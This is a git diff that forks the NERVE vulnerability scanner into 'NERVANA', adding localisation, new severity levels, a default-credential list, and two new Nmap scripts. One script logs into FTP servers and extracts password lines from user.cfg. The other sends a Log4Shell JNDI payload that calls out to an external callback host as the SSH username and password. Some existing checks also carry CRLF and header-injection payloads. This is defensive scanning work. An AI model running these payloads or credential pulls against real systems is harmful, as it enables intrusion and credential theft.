of file + return filename diff --git a/core/utils.py b/core/utils.py index 2eab7dc..941b92e 100644 --- a/core/utils.py +++ b/core/utils.py @@ -14,6 +14,7 @@ from config import WEB_LOG, USER_AGENT from urllib.parse import urlparse from version import VERSION +from flask_babel import _ class Utils: def generate_uuid(self): @@ -42,7 +43,7 @@ def hash_sha1(self, text): return hashlib.sha1(f'{text}'.encode()).hexdigest() def sev_to_human(self, severity): - color_map = {4:'Critical', 3:'High', 2:'Medium' , 1:'Low', 0:'Informational'} + color_map = {6:_('Potential'), 5:_('Undefined'), 4:_('Critical'), 3:_('High'), 2:_('Medium') , 1:_('Low'), 0:_('Informational')} return color_map[severity] def is_string_url(self, url): @@ -61,7 +62,7 @@ def is_string_email(self, email): def is_version_latest(self): try: - resp = requests.get('https://raw.githubusercontent.com/PaytmLabs/nerve/master/version.py', timeout=10) + resp = requests.get('https://raw.githubusercontent.com/TomasTorresB/nervana/master/version.py', timeout=10) repo_ver = resp.text.split("'")[1].replace('.', '') curr_ver = VERSION.replace('.', '').replace('\'', '') if int(repo_ver) > int(curr_ver): @@ -69,6 +70,13 @@ def is_version_latest(self): return True except: return True + + def json_serial(self, obj): + """JSON serializer for objects not serializable by default json code""" + + if isinstance(obj, (datetime.datetime, datetime.date)): + return obj.isoformat() + raise TypeError ("Type %s not serializable" % type(obj)) class Network: def get_nics(self): @@ -145,9 +153,9 @@ def submit_slack(self, hook, data={}): slack_data = { "color": '#000000', - "pretext":" NERVE Notification", + "pretext":" NERVANA Notification", "author_name": ':warning: Notification', - "title": 'NERVE Report', + "title": 'NERVANA Report', "fields": fields, } response = requests.post(hook, data=json.dumps(slack_data)) @@ -164,7 +172,10 @@ def submit_slack(self, hook, data={}): def submit_webhook(self, webhook, cfg, data={}): logger.info('Sending the webhook...') try: + utils = Utils() + cfg['config']['schedule_date'] = utils.json_serial(cfg['config']['schedule_date']) data = {'status':'done', 'vulnerabilities':data, 'scan_config':cfg} + logger.debug("WEBHOOK DATA: {}".format(data)) requests.post(webhook, json=data, headers={'User-Agent':USER_AGENT, @@ -178,7 +189,7 @@ def submit_webhook(self, webhook, cfg, data={}): class Charts: def make_doughnut(self, data): - vuln_count = {0:0, 1:0, 2:0, 3:0, 4:0} + vuln_count = {0:0, 1:0, 2:0, 3:0, 4:0, 5:0, 6:0} if data: for k, v in data.items(): vuln_count[v['rule_sev']] += 1 @@ -194,4 +205,4 @@ def make_radar(self, data): else: ports[v['port']] += 1 - return ports \ No newline at end of file + return ports diff --git a/db/db_passwds.py b/db/db_passwds.py index af406f6..468aa0a 100644 --- a/db/db_passwds.py +++ b/db/db_passwds.py @@ -1,2 +1 @@ - -known_weak = ['root', 'guest', 'test@123', 'test', 'test123456', '123456', 'password', 'admin', 'administrator'] \ No newline at end of file +known_weak = ['root', 'guest', 'test@123', 'test', 'test123456', '123456', 'password', 'admin', 'administrator', 'ftp-user'] diff --git a/db/db_userandpass b/db/db_userandpass new file mode 100644 index 0000000..96a722a --- /dev/null +++ b/db/db_userandpass @@ -0,0 +1,40 @@ +admin/root +admin/guest +admin/test@123 +admin/test +admin/test123456 +admin/123456 +admin/password +admin/admin +admin/administrator +admin/ftp_user +root/root +root/guest +root/test@123 +root/test +root/test123456 +root/123456 +root/password +root/admin +root/administrator +root/ftp_user +administrator/root +administrator/guest +administrator/test@123 +administrator/test +administrator/test123456 +administrator/123456 +administrator/password +administrator/admin +administrator/administrator +administrator/ftp_user +ftp_user/root +ftp_user/guest +ftp_user/test@123 +ftp_user/test +ftp_user/test123456 +ftp_user/123456 +ftp_user/password +ftp_user/admin +ftp_user/administrator +ftp_user/ftp_user diff --git a/db/db_users.py b/db/db_users.py index 113cd99..057d0f1 100644 --- a/db/db_users.py +++ b/db/db_users.py @@ -1 +1 @@ -known_users = ['admin', 'root', 'administrator'] \ No newline at end of file +known_users = ['admin', 'root', 'administrator','ftp_user'] diff --git a/install/setup.sh b/install/setup.sh index 59449d4..aaabbe9 100644 --- a/install/setup.sh +++ b/install/setup.sh @@ -1,5 +1,5 @@ #!/bin/bash -systemd_service="/lib/systemd/system/nerve.service" +systemd_service="/lib/systemd/system/nervana.service" cwd="$(pwd)" password=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-12} | head -n 1) @@ -8,13 +8,13 @@ if [ "$EUID" -ne 0 ]; then exit 1 fi -if [ "$cwd" != "/opt/nerve" ]; then - echo "please run this script from within /opt/nerve folder." +if [ "$cwd" != "/opt/nervana" ]; then + echo "please run this script from within /opt/nervana folder." exit 1 fi if [ ! -f "requirements.txt" ]; then - echo "requirements.txt is missing, did you unpack the files into /opt/nerve?" + echo "requirements.txt is missing, did you unpack the files into /opt/nervana?" exit 1 fi @@ -48,6 +48,7 @@ function install_redhat { yum install -y python3 && \ yum install -y python3-pip && \ yum install -y python3-devel && \ + yum install -y libpq-devel && \ yum install -y wget && \ yum clean all wget https://nmap.org/dist/nmap-7.90-1.x86_64.rpm @@ -62,6 +63,7 @@ function install_ubuntu { apt install -y python3 && \ apt install -y python3-pip && \ apt install -y python3-dev && \ + apt install -y libpq-dev && \ apt install -y wget && \ apt install -y nmap } @@ -82,8 +84,8 @@ function configure_firewalld { function configure_iptables { if iptables -V &> /dev/null; then - if ! iptables -vnL | grep -q "NERVE Console"; then - iptables -I INPUT -p tcp --dport 8080 -j ACCEPT -m comment --comment "NERVE Console" + if ! iptables -vnL | grep -q "NERVANA Console"; then + iptables -I INPUT -p tcp --dport 8080 -j ACCEPT -m comment --comment "NERVANA Console" iptables-save fi fi @@ -110,11 +112,11 @@ if [ ! -f "$systemd_service" ]; then echo "Setting up systemd service" echo " [Unit] -Description=NERVE +Description=NERVANA [Service] Type=simple -ExecStart=/bin/bash -c 'cd /opt/nerve/ && /usr/bin/python3 /opt/nerve/main.py' +ExecStart=/bin/bash -c 'cd /opt/nervana/ && /usr/bin/python3 /opt/nervana/main.py' [Install] WantedBy=multi-user.target @@ -144,9 +146,9 @@ if [ -f "config.py" ]; then sed -ine s/^WEB_PASSW\ =\ .*/WEB_PASSW\ =\ \'$password\'/ "config.py" fi -echo "Starting NERVE..." -systemctl enable nerve -systemctl start nerve +echo "Starting NERVANA..." +systemctl enable nervana +systemctl start nervana echo "Checking Firewall..." check_fw @@ -154,7 +156,7 @@ check_fw echo "Checking SELinux..." configure_selinux -systemctl is-active --quiet nerve +systemctl is-active --quiet nervana if [ $? != 1 ]; then echo echo @@ -167,4 +169,4 @@ if [ $? != 1 ]; then else echo "Something went wrong, and the service could not be started." exit 1 -fi \ No newline at end of file +fi diff --git a/logs/nerve.log b/logs/nerve.log index 49ec2a2..7d692a5 100644 --- a/logs/nerve.log +++ b/logs/nerve.log @@ -1 +1,3 @@ -# NERVE Log +2023-11-30 15:46:39,791 - INFO - 12440 - Attacker process started +2023-11-30 15:46:39,792 - INFO - 12440 - Scheduler process started +2023-11-30 15:46:39,797 - INFO - 12440 - Scanner process started diff --git a/main.py b/main.py index a7d1ea2..44668f8 100644 --- a/main.py +++ b/main.py @@ -3,10 +3,15 @@ from core.redis import rds from core.workers import start_workers +from core.parser import ConfParser -from version import VERSION -from flask import Flask +from version import VERSION +from flask import Flask +from flask import request from flask_restful import Api +from flask_babel import Babel +from flask_babel import _ +from flask_babel_js import BabelJS # Import Blueprints from views.view_index import index @@ -28,6 +33,7 @@ from views.view_vulns import vulns from views.view_alert import alert from views.view_startover import startover +from views.view_language import language # Import REST API Endpoints @@ -37,6 +43,9 @@ from views_api.api_exclusions import Exclusion app = Flask(__name__) +babel = Babel(app) +babel_js = BabelJS(app) + # Initialize Blueprints app.register_blueprint(index) @@ -58,6 +67,7 @@ app.register_blueprint(scan) app.register_blueprint(alert) app.register_blueprint(startover) +app.register_blueprint(language) app.config.update( @@ -89,15 +99,16 @@ def add_security_headers(resp): def status(): progress = rds.get_scan_progress() session_state = rds.get_session_state() - status = 'Ready' - if session_state == 'created': - status = 'Initializing...' - elif session_state == 'running': + config = rds.get_next_scan_config() + status = _('Ready') + if session_state == 'running': if progress: - status = 'Scanning... [QUEUE:{}]'.format(progress) + status = _('Scanning... [QUEUE:%(prog)s]', prog=progress) else: - status = 'Busy...' - + status = _('Busy...') + elif config: + conf = ConfParser(config) + status = _('Ready, next scan scheduled for %(date)s', date=conf.get_cfg_schedule().strftime('%Y-%m-%d %H:%M:%S')) return dict(status=status) @app.context_processor @@ -106,7 +117,7 @@ def show_version(): @app.context_processor def show_frequency(): - config = rds.get_scan_config() + config = rds.get_next_scan_config() scan_frequency = None if config: scan_frequency = config['config']['frequency'] @@ -116,6 +127,14 @@ def show_frequency(): def show_vuln_count(): return dict(vuln_count=len(rds.get_vuln_data())) +@app.context_processor +def get_language(): + return dict(language=rds.get_interface_language()) + +@babel.localeselector +def get_locale(): + return rds.get_interface_language() + if __name__ == '__main__': rds.initialize() start_workers() @@ -123,4 +142,5 @@ def show_vuln_count(): host = config.WEB_HOST, port = config.WEB_PORT, threaded=True, - use_evalex=False) + use_evalex=False + ) diff --git a/requirements.txt b/requirements.txt index bda1b9a..c4cbd54 100644 --- a/requirements.txt +++ b/requirements.txt @@ -13,6 +13,8 @@ decorator==4.4.2 dnspython==2.0.0 docutils==0.16 Flask==1.1.2 +Flask-Babel==2.0.0 +Flask-Babel-JS==1.0.2 Flask-HTTPAuth==4.1.0 Flask-RESTful==0.3.8 html5lib==1.1 @@ -26,7 +28,7 @@ packaging==20.4 paramiko==2.7.1 Pillow==7.2.0 psutil==5.7.2 -psycopg2-binary==2.8.5 +psycopg2-binary==2.9.4 pycparser==2.20 Pygments==2.6.1 pymongo==3.11.0 diff --git a/rules/configuration/rule_ssh-auth-check.py b/rules/configuration/rule_ssh-auth-check.py index 43528da..4307bab 100644 --- a/rules/configuration/rule_ssh-auth-check.py +++ b/rules/configuration/rule_ssh-auth-check.py @@ -6,7 +6,7 @@ class Rule: def __init__(self): self.rule = 'CFG_FOQW' - self.rule_severity = 3 + self.rule_severity = 2 self.rule_description = 'This rule checks if OpenSSH allows passwords as an accepted authentication mechanism' self.rule_confirm = 'Remote Server Supports SSH Passwords' self.rule_details = '' diff --git a/rules/nse/ftp-steal.nse b/rules/nse/ftp-steal.nse new file mode 100644 index 0000000..1c2a648 --- /dev/null +++ b/rules/nse/ftp-steal.nse @@ -0,0 +1,128 @@ +-- Based in ftp-syst.nse and ftp-anon.nse + +local stdnse = require "stdnse" +local ftp = require "ftp" +local shortport = require "shortport" + +--- +-- @usage +-- nmap -p 21 --script ftp-steal.nse --script-args user=,pass=,dir= +-- +-- @args user: Username for user in ftp server +-- pass: Password for user in ftp server +-- dir: When set determines the directory in ftp server where to look for file +-- +-- @output +-- PORT STATE SERVICE REASON +-- 21/tcp open ftp syn-ack +-- | ftp-steal: +-- | tftp file test +-- |_ password:holi + +description = [[ +Connects to FTP server, authenticating with user and password provided in arguments. Then reads 'user.cfg' file in the specified directory. Finally retrieves lines containing keywords 'password', 'tftp' or 'write'. +]] + +author = "Tomás Torres" +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"safe", "auth"} + +portrule = shortport.port_or_service({21,990},{"ftp","ftps"}) + +-- Metadata +severity = 4 +confirm = "FTP server exposes user.cfg file." +intensity = 3 + + +--- NOTES +-- socket is used to send commands +-- pasv_socket is used to get file information +action = function(host, port) + local file_name = "user.cfg" + + local socket, code, message, buffer = ftp.connect(host, port) + if not socket then + stdnse.debug(1,"Couldn't connect: %s", code or message) + return nil + end + +-- Authentication + local username = stdnse.get_script_args("user") + local password = stdnse.get_script_args("pass") + local auth_status, auth_code, auth_message = ftp.auth(socket, buffer, username, password) + if not auth_status then + if not auth_code then + stdnse.debug1("got socket error %q.", auth_message) + return nil + else + stdnse.debug1("got code %d %q.", auth_code, auth_message) + return ("got code %d %q."):format(auth_code, auth_message) + end + end + +-- Create socket in PASV mode for file transfering + local pasv_socket, pasv_err = ftp.pasv(socket, buffer) + if pasv_err then + stdnse.debug(1, "Error with PASV mode socket: %s", pasv_err) + end + +-- SEND CWD file directory command + local dir = stdnse.get_script_args("dir") + if dir then + stdnse.debug(1,"Sending CWD command") + local cwd_status, cwd_error = socket:send(("CWD %s\r\n"):format(dir)) + if not cwd_status then + stdnse.debug(1, "CWD %s command error: %s %s ", dir, cwd_status, cwd_error) + return nil + end +-- GET CD response + local cwd_response_code, cwd_response_message = ftp.read_reply(buffer) + stdnse.debug(1, "CWD response: %s %s", cwd_response_code, cwd_response_message) + end + +-- GET file transfer command for file name + stdnse.debug(1,"Sending GET file command") + local get_status, get_error = socket:send(("RETR %s\r\n"):format(file_name)) + if not get_status then + stdnse.debug(1, "GET command file error: %s %s", get_status, get_error) + return nil + end +-- GET file transfer response + local get_response_code, get_response_message = ftp.read_reply(buffer) + if get_response_code and get_response_code ~= 150 then + stdnse.debug(1, "GET response: %s %s", get_response_code, get_response_message) + return nil + end + +-- Receive file information through pasv socket +-- Check for keywords in each line + local lines_list = {"Lines containing keywords:"} + while true do + local line_status, line_data = pasv_socket:receive_buf("\r?\n", false) + if (not line_status and line_data == "EOF") or line_data == "" then + break + end +-- stdnse.debug(1, "Data status: %s ", line_status) +-- stdnse.debug(1, "Data info: %s ", line_data) + if not line_status then + return line_status, line_data + end + if string.find(line_data,"password") or string.find(line_data,"tftp") or string.find(line_data,"write") then + lines_list[#lines_list + 1] = " " .. line_data + end + end + +-- GET transfer response + local get_transfer_code, get_transfer_message = ftp.read_reply(buffer) + stdnse.debug(1, "Transfer response: %s %s", get_transfer_code, get_transfer_message) + +-- Close FTP connection + ftp.close(socket) + + if (#lines_list > 1) then + return lines_list + else + return nil + end +end diff --git a/rules/nse/ssh-log4shell.nse b/rules/nse/ssh-log4shell.nse new file mode 100644 index 0000000..74f4f77 --- /dev/null +++ b/rules/nse/ssh-log4shell.nse @@ -0,0 +1,106 @@ +local shortport = require "shortport" +local stdnse = require "stdnse" + +local libssh2_util = require "libssh2-utility" + +description = [[ +Performs username and password as log4shell payload against SSH server. +]] + +--- +-- @usage +-- nmap -p 22 --script ssh-log4shell --script-args log4shell.payload=log4shell.payload="${jndi:ldap://{{target}}.xxxx.burpcollaborator.net +-- +-- @args ssh-log4shell.timeout Connection timeout (default: "5s") + +author = "Vlatko Kosturjak" +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = { + 'intrusive', + 'log4shell' +} + +-- Metadata +severity = 4 +confirm = "SSH server is vulnerable to log4shell vulnerability (CVE-2021-44228)." +intensity = 2 + +-- portrule = shortport.ssh +portrule = shortport.port_or_service( {22}, {"ssh"}, "tcp", "open") + +local arg_timeout = stdnse.get_script_args(SCRIPT_NAME .. ".timeout") or "5s" + +local function password_auth_allowed (host, port) + local helper = libssh2_util.SSHConnection:new() + if not helper:connect(host, port) then + return "Failed to connect to ssh server" + end + local methods = helper:list "root" + if methods then + for _, value in pairs(methods) do + if value == "password" then + return true + end + end + end + return false +end + +function action (host, port) + local timems = stdnse.parse_timespec(arg_timeout) --todo: use this! + local ssh_timeout = 1000 * timems + + local payload = stdnse.get_script_args(SCRIPT_NAME..".payload") + local gpayload = stdnse.get_script_args("log4shell.payload") + + if not payload then + if not gpayload then + if nmap.registry['dnslog-cn'] then + stdnse.debug2("registry not present") + local registry = nmap.registry['dnslog-cn'] + if registry.domain then + payload = "${jndi:ldap://{{target}}."..registry.domain.."}" + else + stdnse.debug2("session not present") + end + else + payload = "${jndi:ldap://mydomain/uri}" + end + stdnse.debug1("Setting the payload to default payload:"..payload) + else + payload=gpayload + end + end + + if password_auth_allowed(host, port) then + local options = { + ssh_timeout = ssh_timeout, + } + target = host.ip .. "-" .. port.number + payload = payload:gsub("{{target}}", target) + + stdnse.debug1("Final payload:"..payload) + + helper = libssh2_util.SSHConnection:new() + local status, err = helper:connect_pcall(host, port) + if not status then + stdnse.debug(2, "libssh2 error: %s", helper.session) + return + elseif not helper.session then + stdnse.debug(2, "failure to connect: %s", err) + return + else + helper:set_timeout(options.ssh_timeout) + end + username = payload + password = payload + stdnse.debug(1, "sending payload: %s", payload) + local status, resp = helper:password_auth(username, password) + if status then + return "Password as payload succeeded. Weird" + end + helper:disconnect() + else + return "Password authentication not allowed" + end +end diff --git a/rules/services/rule_admin-ports.py b/rules/services/rule_admin-ports.py index 3556e72..14236ac 100644 --- a/rules/services/rule_admin-ports.py +++ b/rules/services/rule_admin-ports.py @@ -5,7 +5,7 @@ class Rule: def __init__(self): self.rule = 'SVC_6509' - self.rule_severity = 3 + self.rule_severity = 2 self.rule_description = 'This rule checks for open Remote Management Ports' self.rule_mitigation = '''Bind all possible services to localhost, and confirm only those which require remote clients are allowed remotely.''' self.rule_confirm = 'Remote Server Exposes Administration Port(s)' diff --git a/rules/vulnerabilities/rule_crlf-injection.py b/rules/vulnerabilities/rule_crlf-injection.py index a7ecacc..badae29 100644 --- a/rules/vulnerabilities/rule_crlf-injection.py +++ b/rules/vulnerabilities/rule_crlf-injection.py @@ -23,7 +23,7 @@ def check_rule(self, ip, port, values, conf): if 'http' not in module: return - payload = '%0d%0aset-cookie:foo=inserted_by_nerve' + payload = '%0d%0aset-cookie:foo=inserted_by_nervana' resp = t.http_request(ip, port, follow_redirects=False, uri='/' + payload) if resp is None: diff --git a/rules/vulnerabilities/rule_xfh-injection.py b/rules/vulnerabilities/rule_xfh-injection.py index 866a0fd..5dab67c 100644 --- a/rules/vulnerabilities/rule_xfh-injection.py +++ b/rules/vulnerabilities/rule_xfh-injection.py @@ -23,12 +23,12 @@ def check_rule(self, ip, port, values, conf): if 'http' not in module: return - resp = t.http_request(ip, port, follow_redirects=False, headers={'X-Forwarded-Host':'www.nerve.local'}) + resp = t.http_request(ip, port, follow_redirects=False, headers={'X-Forwarded-Host':'www.nervana.local'}) if resp is None: return - if 'Location' in resp.headers and resp.headers['Location'] == 'www.nerve.local': + if 'Location' in resp.headers and resp.headers['Location'] == 'www.nervana.local': self.rule_details = 'Server Redirected to an Arbitrary Location' rds.store_vuln({ 'ip':ip, diff --git a/static/css/nerve.css b/static/css/nervana.css similarity index 91% rename from static/css/nerve.css rename to static/css/nervana.css index ef9d6f3..3f2dd23 100644 --- a/static/css/nerve.css +++ b/static/css/nervana.css @@ -23,6 +23,9 @@ pre.bash { color: white; padding: 8px; font-family: courier new; + white-space: pre-wrap; + overflow-y: scroll; + word-wrap: break-word; } pre.topology { @@ -123,6 +126,10 @@ span.banner_sm { color:red } +.c-purple { + color:purple +} + .critical { color:black } @@ -142,3 +149,11 @@ span.banner_sm { .informational { color:blue } + +.undefined { + color:grey +} + +.potential { + color:purple +} diff --git a/static/favicon.ico b/static/favicon.ico index 0d8471b..bff1af9 100644 Binary files a/static/favicon.ico and b/static/favicon.ico differ diff --git a/static/img/grey_circle.png b/static/img/grey_circle.png new file mode 100644 index 0000000..e15bab8 Binary files /dev/null and b/static/img/grey_circle.png differ diff --git a/static/img/nervana_logo_black.png b/static/img/nervana_logo_black.png new file mode 100644 index 0000000..b76e04b Binary files /dev/null and b/static/img/nervana_logo_black.png differ diff --git a/static/img/nervana_logo_noback.png b/static/img/nervana_logo_noback.png new file mode 100644 index 0000000..90160fd Binary files /dev/null and b/static/img/nervana_logo_noback.png differ diff --git a/static/img/nervana_logo_white.png b/static/img/nervana_logo_white.png new file mode 100644 index 0000000..76e440f Binary files /dev/null and b/static/img/nervana_logo_white.png differ diff --git a/static/img/purple_circle.png b/static/img/purple_circle.png new file mode 100644 index 0000000..cfae970 Binary files /dev/null and b/static/img/purple_circle.png differ diff --git a/static/img/spain_icon.png b/static/img/spain_icon.png new file mode 100644 index 0000000..048c703 Binary files /dev/null and b/static/img/spain_icon.png differ diff --git a/static/img/uk_icon.png b/static/img/uk_icon.png new file mode 100644 index 0000000..5030edd Binary files /dev/null and b/static/img/uk_icon.png differ diff --git a/static/js/initiate-datatables.js b/static/js/initiate-datatables.js index 9f74d73..c82ec35 100644 --- a/static/js/initiate-datatables.js +++ b/static/js/initiate-datatables.js @@ -1,8 +1,17 @@ -// Initiate datatables in roles, tables, users page $('#dataTables-vulnerabilities').DataTable({ responsive: true, pageLength: 20, lengthChange: false, searching: true, - ordering: true + ordering: true, + "language": { + "search": gettext("Search:"), + "paginate": { + "first": gettext("First"), + "previous": gettext("Previous"), + "next": gettext("Next"), + "last": gettext("Last") + }, + "emptyTable": gettext("No vulnerabilities have been found.") + } }); diff --git a/static/old_favicon.ico b/static/old_favicon.ico new file mode 100644 index 0000000..0d8471b Binary files /dev/null and b/static/old_favicon.ico differ diff --git a/static/screenshots/1.png b/static/screenshots/1.png deleted file mode 100644 index 900d419..0000000 Binary files a/static/screenshots/1.png and /dev/null differ diff --git a/static/screenshots/10.png b/static/screenshots/10.png deleted file mode 100644 index 7aede14..0000000 Binary files a/static/screenshots/10.png and /dev/null differ diff --git a/static/screenshots/11.png b/static/screenshots/11.png deleted file mode 100644 index d5ff9de..0000000 Binary files a/static/screenshots/11.png and /dev/null differ diff --git a/static/screenshots/2.png b/static/screenshots/2.png deleted file mode 100644 index 49b8b8a..0000000 Binary files a/static/screenshots/2.png and /dev/null differ diff --git a/static/screenshots/3.png b/static/screenshots/3.png deleted file mode 100644 index 5376fcf..0000000 Binary files a/static/screenshots/3.png and /dev/null differ diff --git a/static/screenshots/4.png b/static/screenshots/4.png deleted file mode 100644 index ef4946d..0000000 Binary files a/static/screenshots/4.png and /dev/null differ diff --git a/static/screenshots/5.png b/static/screenshots/5.png deleted file mode 100644 index e6b4372..0000000 Binary files a/static/screenshots/5.png and /dev/null differ diff --git a/static/screenshots/6.png b/static/screenshots/6.png deleted file mode 100644 index 7bafa0a..0000000 Binary files a/static/screenshots/6.png and /dev/null differ diff --git a/static/screenshots/7.png b/static/screenshots/7.png deleted file mode 100644 index 1cf1051..0000000 Binary files a/static/screenshots/7.png and /dev/null differ diff --git a/static/screenshots/8.png b/static/screenshots/8.png deleted file mode 100644 index acaf9dc..0000000 Binary files a/static/screenshots/8.png and /dev/null differ diff --git a/static/screenshots/9.png b/static/screenshots/9.png deleted file mode 100644 index 29869a5..0000000 Binary files a/static/screenshots/9.png and /dev/null differ diff --git a/static/screenshots/API-en.png b/static/screenshots/API-en.png new file mode 100644 index 0000000..32593ba Binary files /dev/null and b/static/screenshots/API-en.png differ diff --git a/static/screenshots/API-es.png b/static/screenshots/API-es.png new file mode 100644 index 0000000..e3afd2e Binary files /dev/null and b/static/screenshots/API-es.png differ diff --git a/static/screenshots/API_table-en.png b/static/screenshots/API_table-en.png new file mode 100644 index 0000000..1b6edf3 Binary files /dev/null and b/static/screenshots/API_table-en.png differ diff --git a/static/screenshots/API_table-es.png b/static/screenshots/API_table-es.png new file mode 100644 index 0000000..7dc8c15 Binary files /dev/null and b/static/screenshots/API_table-es.png differ diff --git a/static/screenshots/HTML_report_1-en.png b/static/screenshots/HTML_report_1-en.png new file mode 100644 index 0000000..7fe74eb Binary files /dev/null and b/static/screenshots/HTML_report_1-en.png differ diff --git a/static/screenshots/HTML_report_1-es.png b/static/screenshots/HTML_report_1-es.png new file mode 100644 index 0000000..153d95e Binary files /dev/null and b/static/screenshots/HTML_report_1-es.png differ diff --git a/static/screenshots/HTML_report_2-en.png b/static/screenshots/HTML_report_2-en.png new file mode 100644 index 0000000..bc2ea6e Binary files /dev/null and b/static/screenshots/HTML_report_2-en.png differ diff --git a/static/screenshots/HTML_report_2-es.png b/static/screenshots/HTML_report_2-es.png new file mode 100644 index 0000000..4fa06ad Binary files /dev/null and b/static/screenshots/HTML_report_2-es.png differ diff --git a/static/screenshots/add_scripts_1-en.png b/static/screenshots/add_scripts_1-en.png new file mode 100644 index 0000000..14f9669 Binary files /dev/null and b/static/screenshots/add_scripts_1-en.png differ diff --git a/static/screenshots/add_scripts_1-es.png b/static/screenshots/add_scripts_1-es.png new file mode 100644 index 0000000..5b844f7 Binary files /dev/null and b/static/screenshots/add_scripts_1-es.png differ diff --git a/static/screenshots/add_scripts_2-en.png b/static/screenshots/add_scripts_2-en.png new file mode 100644 index 0000000..c529df7 Binary files /dev/null and b/static/screenshots/add_scripts_2-en.png differ diff --git a/static/screenshots/add_scripts_2-es.png b/static/screenshots/add_scripts_2-es.png new file mode 100644 index 0000000..0fc6402 Binary files /dev/null and b/static/screenshots/add_scripts_2-es.png differ diff --git a/static/screenshots/add_scripts_3-en.png b/static/screenshots/add_scripts_3-en.png new file mode 100644 index 0000000..5d9b1f7 Binary files /dev/null and b/static/screenshots/add_scripts_3-en.png differ diff --git a/static/screenshots/assessment_configuration-en.png b/static/screenshots/assessment_configuration-en.png new file mode 100644 index 0000000..2689825 Binary files /dev/null and b/static/screenshots/assessment_configuration-en.png differ diff --git a/static/screenshots/assessment_configuration-es.png b/static/screenshots/assessment_configuration-es.png new file mode 100644 index 0000000..d203a73 Binary files /dev/null and b/static/screenshots/assessment_configuration-es.png differ diff --git a/static/screenshots/auth-en.png b/static/screenshots/auth-en.png new file mode 100644 index 0000000..361894e Binary files /dev/null and b/static/screenshots/auth-en.png differ diff --git a/static/screenshots/auth-es.png b/static/screenshots/auth-es.png new file mode 100644 index 0000000..84d10df Binary files /dev/null and b/static/screenshots/auth-es.png differ diff --git a/static/screenshots/console-en.png b/static/screenshots/console-en.png new file mode 100644 index 0000000..0d2ec3a Binary files /dev/null and b/static/screenshots/console-en.png differ diff --git a/static/screenshots/console-es.png b/static/screenshots/console-es.png new file mode 100644 index 0000000..6f55f98 Binary files /dev/null and b/static/screenshots/console-es.png differ diff --git a/static/screenshots/dashboard-en.png b/static/screenshots/dashboard-en.png new file mode 100644 index 0000000..ecc1a5e Binary files /dev/null and b/static/screenshots/dashboard-en.png differ diff --git a/static/screenshots/dashboard-es.png b/static/screenshots/dashboard-es.png new file mode 100644 index 0000000..38dddde Binary files /dev/null and b/static/screenshots/dashboard-es.png differ diff --git a/static/screenshots/12.png b/static/screenshots/diagram-en.png similarity index 100% rename from static/screenshots/12.png rename to static/screenshots/diagram-en.png diff --git a/static/screenshots/doc_table-en.png b/static/screenshots/doc_table-en.png new file mode 100644 index 0000000..4e0dcc0 Binary files /dev/null and b/static/screenshots/doc_table-en.png differ diff --git a/static/screenshots/doc_table-es.png b/static/screenshots/doc_table-es.png new file mode 100644 index 0000000..8f16f2b Binary files /dev/null and b/static/screenshots/doc_table-es.png differ diff --git a/static/screenshots/login-en.png b/static/screenshots/login-en.png new file mode 100644 index 0000000..2686e7c Binary files /dev/null and b/static/screenshots/login-en.png differ diff --git a/static/screenshots/login-es.png b/static/screenshots/login-es.png new file mode 100644 index 0000000..946a63b Binary files /dev/null and b/static/screenshots/login-es.png differ diff --git a/static/screenshots/reports-en.png b/static/screenshots/reports-en.png new file mode 100644 index 0000000..41a13cf Binary files /dev/null and b/static/screenshots/reports-en.png differ diff --git a/static/screenshots/reports-es.png b/static/screenshots/reports-es.png new file mode 100644 index 0000000..8a04f69 Binary files /dev/null and b/static/screenshots/reports-es.png differ diff --git a/static/screenshots/topology-en.png b/static/screenshots/topology-en.png new file mode 100644 index 0000000..730cbb4 Binary files /dev/null and b/static/screenshots/topology-en.png differ diff --git a/static/screenshots/topology-es.png b/static/screenshots/topology-es.png new file mode 100644 index 0000000..3703e96 Binary files /dev/null and b/static/screenshots/topology-es.png differ diff --git a/static/screenshots/vulnerabilities-en.png b/static/screenshots/vulnerabilities-en.png new file mode 100644 index 0000000..5e13cc2 Binary files /dev/null and b/static/screenshots/vulnerabilities-en.png differ diff --git a/static/screenshots/vulnerabilities-es.png b/static/screenshots/vulnerabilities-es.png new file mode 100644 index 0000000..642a4d1 Binary files /dev/null and b/static/screenshots/vulnerabilities-es.png differ diff --git a/templates/.documentation.html.swp b/templates/.documentation.html.swp new file mode 100644 index 0000000..2983139 Binary files /dev/null and b/templates/.documentation.html.swp differ diff --git a/templates/alert.html b/templates/alert.html index 15eb817..00bdea3 100644 --- a/templates/alert.html +++ b/templates/alert.html @@ -4,11 +4,11 @@ - NERVE + NERVANA - + @@ -18,45 +18,7 @@
- - +
@@ -67,28 +29,31 @@

{{vuln.data.ip}}:{{vuln.data.port}}

-
Alert
+
{{_('Alert')}}
{% if vuln %} {{ vuln.data.rule_desc }}. {% endif %}
-
{% if vuln %} {{ vuln.data.rule_details }}. {% endif %}
+
{% if vuln %} {{ vuln.data.rule_details }}. {% endif %}
{% if vuln %} {{ vuln.data.rule_mitigation }} {% endif %}

+ + + - - + +
@@ -120,4 +85,4 @@

{{vuln.data.ip}}:{{vuln.data.port}}

{% endwith %} - \ No newline at end of file + diff --git a/templates/assessment.html b/templates/assessment.html index 2f42f42..48fb906 100644 --- a/templates/assessment.html +++ b/templates/assessment.html @@ -4,11 +4,11 @@ - NERVE + NERVANA - + @@ -17,70 +17,33 @@
- - + +
-

Assessment

+

{{_('Assessment')}}

@@ -88,15 +51,15 @@

Assessment

- +
- +
- +
@@ -105,23 +68,23 @@

Assessment

-

Specify either Networks, Domains, or both.
+

{{_('Specify either Networks, Domains, or both.')}}

-

Targets Required

+

{{_('Targets')}} {{_('Required')}}

- +
- +
-

Exclusion

+

{{_('Exclusion')}}

- +
@@ -130,32 +93,32 @@

Assessment

-
- +
+
- +
- +
- +
@@ -163,16 +126,16 @@

Assessment

- +
- Uses default if not specified + {{_('Uses default if not specified')}}
- + - 1000 = one thousand most commonly used ports + {{_('1000 = one thousand most commonly used ports')}}
- + - Comma separated integers. Takes presedence over MAX_PORTS. + {{_('Comma separated integers. Takes presedence over ')}}{{_('MAX_PORTS')}}.
- +
- + - Separate the usernames with a new line.
+ + + {{_('Separate the usernames with a new line.')}}
- - - Separate the passwords with a new line.
+ + + {{_('Separate the passwords with a new line.')}}
- +
- + + + - * Running continuously will not stop until you reset the system
+ {{_('* Running continuously will not stop until you reset the system')}}
+
+ +
+
-
